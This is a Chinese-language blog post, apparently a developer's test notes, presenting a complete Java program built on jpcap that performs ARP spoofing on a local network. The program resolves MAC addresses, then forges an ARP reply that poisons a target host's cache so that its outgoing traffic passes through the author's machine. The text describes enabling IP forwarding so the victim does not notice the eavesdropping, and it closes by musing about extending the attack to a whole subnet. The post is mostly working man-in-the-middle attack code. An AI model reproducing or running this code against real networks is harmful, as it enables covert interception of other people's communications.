ARP欺骗的原理网上有很多资料,不太赘述了。这里只是说明一下我自己用jpcap开发包写的一个小测试程序。
先说明一下这个小程序吧。这个程序的目的是在局域网上针对一台主机(假设其IP地址为192.168.10.254)进行ARP欺骗,以便监听到这台主机发送出去的数据包,这个程序并没有监听到外部发往被监听主机的数据(由于我只关心他发出去的数据,所以没有监听其他的数据,不过要监听外部发往这个主机的数据,原理是一样的)。另外,局域网的网关IP地址是:192.168.10.1。为了不让目标主机(就暂命名为主机B吧)发现我们在监听,我们得把实行监听任务的主机(就叫主机A吧,IP地址为:192.168.10.100)的IP路由功能打开,这样,主机B才可以正常上网,如果没有打开主机A的IP路由功能,主机B是上不了网的。
程序写得有点乱,只是测试用。将就一点了:)
import jpcap.packet.*;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import java.net.*;
import java.util.Arrays;
import java.io.*;
public class ModifyARP {
static NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //得到主机A的网络设备列表
/*
* 获取局域网内的某个主机的MAC地址,方法:发一个ARP请求,从ARP回复中得到MAC地址
*/
static byte[] getOtherMAC(String ip) throws IOException{
JpcapCaptor jc = JpcapCaptor.openDevice(devices[1],2000,false,3000);
JpcapSender sender = jc.getJpcapSenderInstance();
InetAddress senderIP = InetAddress.getByName("192.168.10.100"); //主机A的IP地址
InetAddress targetIP = InetAddress.getByName(ip); //目标主机的IP地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //广播地址
ARPPacket arp=new ARPPacket(); //开始构造一个ARP包
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP请求包
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=devices[0].mac_address; //ARP包的发送端以太网地址
arp.sender_protoaddr=senderIP.getAddress(); //发送端IP地址
arp.target_hardaddr=broadcast; //目的端以太网地址
arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址
EthernetPacket ether=new EthernetPacket(); //构造以太网首部
ether.frametype=EthernetPacket.ETHERTYPE_ARP; //帧类型
ether.src_mac=devices[0].mac_address; //以太网源地址
ether.dst_mac=broadcast; //以太网目的地址
arp.datalink=ether;
sender.sendPacket(arp);
while(true){ //获取ARP回复包,从中提取出目的主机的MAC地址
ARPPacket p=(ARPPacket)jc.getPacket();
if(p==null){
throw new IllegalArgumentException(targetIP+" is not a local address");
}
if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){
return p.sender_hardaddr;
}
}
}
public static void main(String[] args) throws IOException {
JpcapCaptor captor = JpcapCaptor.openDevice(devices[1],2000,false,3000);
captor.setFilter("arp",true);
JpcapSender sender = captor.getJpcapSenderInstance();
ARPPacket arp=new ARPPacket(); //构造ARP欺骗用的数据包,实质上就是一个ARP回复包
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REPLY; //指明是ARP回复包
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=devices[0].mac_address;
arp.sender_protoaddr=InetAddress.getByName("192.168.10.1").getAddress();
arp.target_hardaddr=getOtherMAC("192.168.10.254");
arp.target_protoaddr=InetAddress.getByName("192.168.10.254").getAddress();
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=getOtherMAC("192.168.10.1");
ether.dst_mac=getOtherMAC("192.168.10.254");
arp.datalink=ether;
sender.sendPacket(arp);
}
}
这个程序中的main()方法和getOtherMAC()方法其实大部分都是一样的,只不过main()方法构造的是一个ARP的响应回复包,用于ARP欺骗,而getOtherMAC()方法构造的是一个ARP请求包,用于获得指定主机的MAC地址。只要设置好传入参数,这两个方法完全可以合成一个方法。
不管是构造ARP请求包还是回复包,其实质都是按照ARP协议的结构往ARP包中添加适当的数据,所以在看这个程序前,你应当对ARP协议有了解,而且对ARP协议的结构已经熟悉了。
这个程序只是监听了一台主机的通讯,如果要同时监听某个网段内的所有活动主机的通讯,也许还有其他的东西没有掌握好,继续了。。。